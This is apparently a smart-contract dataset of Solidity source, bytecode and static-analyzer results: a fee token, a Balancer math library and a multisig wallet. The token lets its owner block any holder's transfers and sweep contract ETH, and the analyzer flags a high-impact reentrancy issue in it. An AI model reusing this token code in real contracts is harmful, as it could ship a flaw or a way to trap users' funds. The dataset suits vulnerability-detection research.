_feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 25_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 25_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 15) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 15) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610313578063c3c8cd8014610333578063c9567bf914610348578063dbe8272c1461035d578063dc1052e21461037d578063dd62ed3e1461039d57600080fd5b8063715018a6146102a15780638da5cb5b146102b657806395d89b411461015c5780639e78fb4f146102de578063a9059cbb146102f357600080fd5b806323b872dd116100f257806323b872dd14610210578063273123b714610230578063313ce567146102505780636fc3eaec1461026c57806370a082311461028157600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019b57806318160ddd146101cb5780631bbae6e0146101f057600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611840565b6103e3565b005b34801561016857600080fd5b50604080518082018252600781526641706562616e6b60c81b6020820152905161019291906118bd565b60405180910390f35b3480156101a757600080fd5b506101bb6101b636600461174e565b610434565b6040519015158152602001610192565b3480156101d757600080fd5b50670de0b6b3a76400005b604051908152602001610192565b3480156101fc57600080fd5b5061015a61020b366004611878565b61044b565b34801561021c57600080fd5b506101bb61022b36600461170e565b61048d565b34801561023c57600080fd5b5061015a61024b36600461169e565b6104f6565b34801561025c57600080fd5b5060405160098152602001610192565b34801561027857600080fd5b5061015a610541565b34801561028d57600080fd5b506101e261029c36600461169e565b610575565b3480156102ad57600080fd5b5061015a610597565b3480156102c257600080fd5b506000546040516001600160a01b039091168152602001610192565b3480156102ea57600080fd5b5061015a61060b565b3480156102ff57600080fd5b506101bb61030e36600461174e565b61084a565b34801561031f57600080fd5b5061015a61032e366004611779565b610857565b34801561033f57600080fd5b5061015a6108fb565b34801561035457600080fd5b5061015a61093b565b34801561036957600080fd5b5061015a610378366004611878565b610b01565b34801561038957600080fd5b5061015a610398366004611878565b610b39565b3480156103a957600080fd5b506101e26103b83660046116d6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104165760405162461bcd60e51b815260040161040d90611910565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610441338484610b71565b5060015b92915050565b6000546001600160a01b031633146104755760405162461bcd60e51b815260040161040d90611910565b6658d15e1762800081111561048a5760108190555b50565b600061049a848484610c95565b6104ec84336104e785604051806060016040528060288152602001611a8e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f8c565b610b71565b5060019392505050565b6000546001600160a01b031633146105205760405162461bcd60e51b815260040161040d90611910565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461056b5760405162461bcd60e51b815260040161040d90611910565b4761048a81610fc6565b6001600160a01b03811660009081526002602052604081205461044590611000565b6000546001600160a01b031633146105c15760405162461bcd60e51b815260040161040d90611910565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106355760405162461bcd60e51b815260040161040d90611910565b600f54600160a01b900460ff161561068f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161040d565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106ef57600080fd5b505afa158015610703573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072791906116ba565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561076f57600080fd5b505afa158015610783573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a791906116ba565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107ef57600080fd5b505af1158015610803573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082791906116ba565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610441338484610c95565b6000546001600160a01b031633146108815760405162461bcd60e51b815260040161040d90611910565b60005b81518110156108f7576001600660008484815181106108b357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ef81611a23565b915050610884565b5050565b6000546001600160a01b031633146109255760405162461bcd60e51b815260040161040d90611910565b600061093030610575565b905061048a81611084565b6000546001600160a01b031633146109655760405162461bcd60e51b815260040161040d90611910565b600e546109859030906001600160a01b0316670de0b6b3a7640000610b71565b600e546001600160a01b031663f305d71947306109a181610575565b6000806109b66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a1957600080fd5b505af1158015610a2d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a529190611890565b5050600f80546658d15e1762800060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ac957600080fd5b505af1158015610add573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048a919061185c565b6000546001600160a01b03163314610b2b5760405162461bcd60e51b815260040161040d90611910565b600f81101561048a57600b55565b6000546001600160a01b03163314610b635760405162461bcd60e51b815260040161040d90611910565b600f81101561048a57600c55565b6001600160a01b038316610bd35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040d565b6001600160a01b038216610c345760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040d565b6001600160a01b038216610d5b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040d565b60008111610dbd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040d565b6001600160a01b03831660009081526006602052604090205460ff1615610de357600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e2557506001600160a01b03821660009081526005602052604090205460ff16155b15610f7c576000600955600c54600a55600f546001600160a01b038481169116148015610e605750600e546001600160a01b03838116911614155b8015610e8557506001600160a01b03821660009081526005602052604090205460ff16155b8015610e9a5750600f54600160b81b900460ff165b15610eae57601054811115610eae57600080fd5b600f546001600160a01b038381169116148015610ed95750600e546001600160a01b03848116911614155b8015610efe57506001600160a01b03831660009081526005602052604090205460ff16155b15610f0f576000600955600b54600a555b6000610f1a30610575565b600f54909150600160a81b900460ff16158015610f455750600f546001600160a01b03858116911614155b8015610f5a5750600f54600160b01b900460ff165b15610f7a57610f6881611084565b478015610f7857610f7847610fc6565b505b505b610f87838383611229565b505050565b60008184841115610fb05760405162461bcd60e51b815260040161040d91906118bd565b506000610fbd8486611a0c565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f7573d6000803e3d6000fd5b60006007548211156110675760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161040d565b6000611071611234565b905061107d8382611257565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110da57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561112e57600080fd5b505afa158015611142573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116691906116ba565b8160018151811061118757634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111ad9130911684610b71565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111e6908590600090869030904290600401611945565b600060405180830381600087803b15801561120057600080fd5b505af1158015611214573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f87838383611299565b6000806000611241611390565b90925090506112508282611257565b9250505090565b600061107d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d0565b6000806000806000806112ab876113fe565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112dd908761145b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461130c908661149d565b6001600160a01b03891660009081526002602052604090205561132e816114fc565b6113388483611546565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161137d91815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113ab8282611257565b8210156113c757505060075492670de0b6b3a764000092509050565b90939092509050565b600081836113f15760405162461bcd60e51b815260040161040d91906118bd565b506000610fbd84866119cd565b600080600080600080600080600061141b8a600954600a5461156a565b925092509250600061142b611234565b9050600080600061143e8e8787876115bf565b919e509c509a509598509396509194505050505091939550919395565b600061107d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f8c565b6000806114aa83856119b5565b90508381101561107d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040d565b6000611506611234565b90506000611514838361160f565b30600090815260026020526040902054909150611531908261149d565b30600090815260026020526040902055505050565b600754611553908361145b565b600755600854611563908261149d565b6008555050565b6000808080611584606461157e898961160f565b90611257565b90506000611597606461157e8a8961160f565b905060006115af826115a98b8661145b565b9061145b565b9992985090965090945050505050565b60008080806115ce888661160f565b905060006115dc888761160f565b905060006115ea888861160f565b905060006115fc826115a9868661145b565b939b939a50919850919650505050505050565b60008261161e57506000610445565b600061162a83856119ed565b90508261163785836119cd565b1461107d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040d565b803561169981611a6a565b919050565b6000602082840312156116af578081fd5b813561107d81611a6a565b6000602082840312156116cb578081fd5b815161107d81611a6a565b600080604083850312156116e8578081fd5b82356116f381611a6a565b9150602083013561170381611a6a565b809150509250929050565b600080600060608486031215611722578081fd5b833561172d81611a6a565b9250602084013561173d81611a6a565b929592945050506040919091013590565b60008060408385031215611760578182fd5b823561176b81611a6a565b946020939093013593505050565b6000602080838503121561178b578182fd5b823567ffffffffffffffff808211156117a2578384fd5b818501915085601f8301126117b5578384fd5b8135818111156117c7576117c7611a54565b8060051b604051601f19603f830116810181811085821117156117ec576117ec611a54565b604052828152858101935084860182860187018a101561180a578788fd5b8795505b838610156118335761181f8161168e565b85526001959095019493860193860161180e565b5098975050505050505050565b600060208284031215611851578081fd5b813561107d81611a7f565b60006020828403121561186d578081fd5b815161107d81611a7f565b600060208284031215611889578081fd5b5035919050565b6000806000606084860312156118a4578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118e9578581018301518582016040015282016118cd565b818111156118fa5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119945784516001600160a01b03168352938301939183019160010161196f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119c8576119c8611a3e565b500190565b6000826119e857634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a0757611a07611a3e565b500290565b600082821015611a1e57611a1e611a3e565b500390565b6000600019821415611a3757611a37611a3e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048a57600080fd5b801515811461048a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200cd0c1884d592096b6b38c5f5f70ec740d79326d87b1dc4c7360977adbbfbfb464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,303
0x5147FD16f4F7bfBc33F9fdcC5b82f945e37fE4D8
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.6.12; // /** * @author Balancer Labs * @title Put all the constants in one place */ library BalancerConstants { // State variables (must be constant in a library) // B "ONE" - all math is in the "realm" of 10 ** 18; // where numeric 1 = 10 ** 18 uint public constant BONE = 10**18; uint public constant MIN_WEIGHT = BONE; uint public constant MAX_WEIGHT = BONE * 50; uint public constant MAX_TOTAL_WEIGHT = BONE * 50; uint public constant MIN_BALANCE = BONE / 10**6; uint public constant MAX_BALANCE = BONE * 10**12; uint public constant MIN_POOL_SUPPLY = BONE * 100; uint public constant MAX_POOL_SUPPLY = BONE * 10**9; uint public constant MIN_FEE = BONE / 10**6; uint public constant MAX_FEE = BONE / 10; // EXIT_FEE must always be zero, or ConfigurableRightsPool._pushUnderlying will fail uint public constant EXIT_FEE = 0; uint public constant MAX_IN_RATIO = BONE / 2; uint public constant MAX_OUT_RATIO = (BONE / 3) + 1 wei; // Must match BConst.MIN_BOUND_TOKENS and BConst.MAX_BOUND_TOKENS uint public constant MIN_ASSET_LIMIT = 2; uint public constant MAX_ASSET_LIMIT = 8; uint public constant MAX_UINT = uint(-1); } // // Imports /** * @author Balancer Labs * @title SafeMath - wrap Solidity operators to prevent underflow/overflow * @dev badd and bsub are basically identical to OpenZeppelin SafeMath; mul/div have extra checks */ library BalancerSafeMath { /** * @notice Safe addition * @param a - first operand * @param b - second operand * @dev if we are adding b to a, the resulting sum must be greater than a * @return - sum of operands; throws if overflow */ function badd(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "ERR_ADD_OVERFLOW"); return c; } /** * @notice Safe unsigned subtraction * @param a - first operand * @param b - second operand * @dev Do a signed subtraction, and check that it produces a positive value * (i.e., a - b is valid if b <= a) * @return - a - b; throws if underflow */ function bsub(uint a, uint b) internal pure returns (uint) { (uint c, bool negativeResult) = bsubSign(a, b); require(!negativeResult, "ERR_SUB_UNDERFLOW"); return c; } /** * @notice Safe signed subtraction * @param a - first operand * @param b - second operand * @dev Do a signed subtraction * @return - difference between a and b, and a flag indicating a negative result * (i.e., a - b if a is greater than or equal to b; otherwise b - a) */ function bsubSign(uint a, uint b) internal pure returns (uint, bool) { if (b <= a) { return (a - b, false); } else { return (b - a, true); } } /** * @notice Safe multiplication * @param a - first operand * @param b - second operand * @dev Multiply safely (and efficiently), rounding down * @return - product of operands; throws if overflow or rounding error */ function bmul(uint a, uint b) internal pure returns (uint) { // Gas optimization (see github.com/OpenZeppelin/openzeppelin-contracts/pull/522) if (a == 0) { return 0; } // Standard overflow check: a/a*b=b uint c0 = a * b; require(c0 / a == b, "ERR_MUL_OVERFLOW"); // Round to 0 if x*y < BONE/2? uint c1 = c0 + (BalancerConstants.BONE / 2); require(c1 >= c0, "ERR_MUL_OVERFLOW"); uint c2 = c1 / BalancerConstants.BONE; return c2; } /** * @notice Safe division * @param dividend - first operand * @param divisor - second operand * @dev Divide safely (and efficiently), rounding down * @return - quotient; throws if overflow or rounding error */ function bdiv(uint dividend, uint divisor) internal pure returns (uint) { require(divisor != 0, "ERR_DIV_ZERO"); // Gas optimization if (dividend == 0){ return 0; } uint c0 = dividend * BalancerConstants.BONE; require(c0 / dividend == BalancerConstants.BONE, "ERR_DIV_INTERNAL"); // bmul overflow uint c1 = c0 + (divisor / 2); require(c1 >= c0, "ERR_DIV_INTERNAL"); // badd require uint c2 = c1 / divisor; return c2; } /** * @notice Safe unsigned integer modulo * @dev Returns the remainder of dividing two unsigned integers. * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * @param dividend - first operand * @param divisor - second operand -- cannot be zero * @return - quotient; throws if overflow or rounding error */ function bmod(uint dividend, uint divisor) internal pure returns (uint) { require(divisor != 0, "ERR_MODULO_BY_ZERO"); return dividend % divisor; } /** * @notice Safe unsigned integer max * @dev Returns the greater of the two input values * * @param a - first operand * @param b - second operand * @return - the maximum of a and b */ function bmax(uint a, uint b) internal pure returns (uint) { return a >= b ? a : b; } /** * @notice Safe unsigned integer min * @dev returns b, if b < a; otherwise returns a * * @param a - first operand * @param b - second operand * @return - the lesser of the two input values */ function bmin(uint a, uint b) internal pure returns (uint) { return a < b ? a : b; } /** * @notice Safe unsigned integer average * @dev Guard against (a+b) overflow by dividing each operand separately * * @param a - first operand * @param b - second operand * @return - the average of the two values */ function baverage(uint a, uint b) internal pure returns (uint) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } /** * @notice Babylonian square root implementation * @dev (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) * @param y - operand * @return z - the square root result */ function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } }
0x735147fd16f4f7bfbc33f9fdcc5b82f945e37fe4d830146080604052600080fdfea2646970667358221220dbc2eb64cbf293ae115791da3f52e50e228c5bf011d55300a6be268c897588ad64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,304
0x554bc53533876fc501b230274f47598cbd435b5e
pragma solidity 0.4.10; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="0172756467606f2f66646e73666441626e6f72646f7278722f6f6475">[email&#160;protected]</a>> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction tx = transactions[transactionId]; tx.executed = true; if (tx.destination.call.value(tx.value)(tx.data)) Execution(transactionId); else { ExecutionFailure(transactionId); tx.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x6060604052361561011b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c271461017c578063173825d9146101dc57806320ea8d86146102125780632f54bf6e146102325780633411c81c1461028057806354741525146102d75780637065cb4814610318578063784547a71461034e5780638b51d13f146103865780639ace38c2146103ba578063a0e67e2b146104b5578063a8abe69a1461052a578063b5dc40c3146105cc578063b77bf6001461064f578063ba51a6df14610675578063c01a8c8414610695578063c6427474146106b5578063d74f8edd1461074b578063dc8452cd14610771578063e20056e614610797578063ee22610b146107ec575b61017a5b6000341115610177573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b5b565b005b341561018457fe5b61019a600480803590602001909190505061080c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e457fe5b610210600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061084c565b005b341561021a57fe5b6102306004808035906020019091905050610af4565b005b341561023a57fe5b610266600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ca5565b604051808215151515815260200191505060405180910390f35b341561028857fe5b6102bd600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cc5565b604051808215151515815260200191505060405180910390f35b34156102df57fe5b610302600480803515159060200190919080351515906020019091905050610cf4565b6040518082815260200191505060405180910390f35b341561032057fe5b61034c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d8b565b005b341561035657fe5b61036c6004808035906020019091905050610f8e565b604051808215151515815260200191505060405180910390f35b341561038e57fe5b6103a46004808035906020019091905050611078565b6040518082815260200191505060405180910390f35b34156103c257fe5b6103d86004808035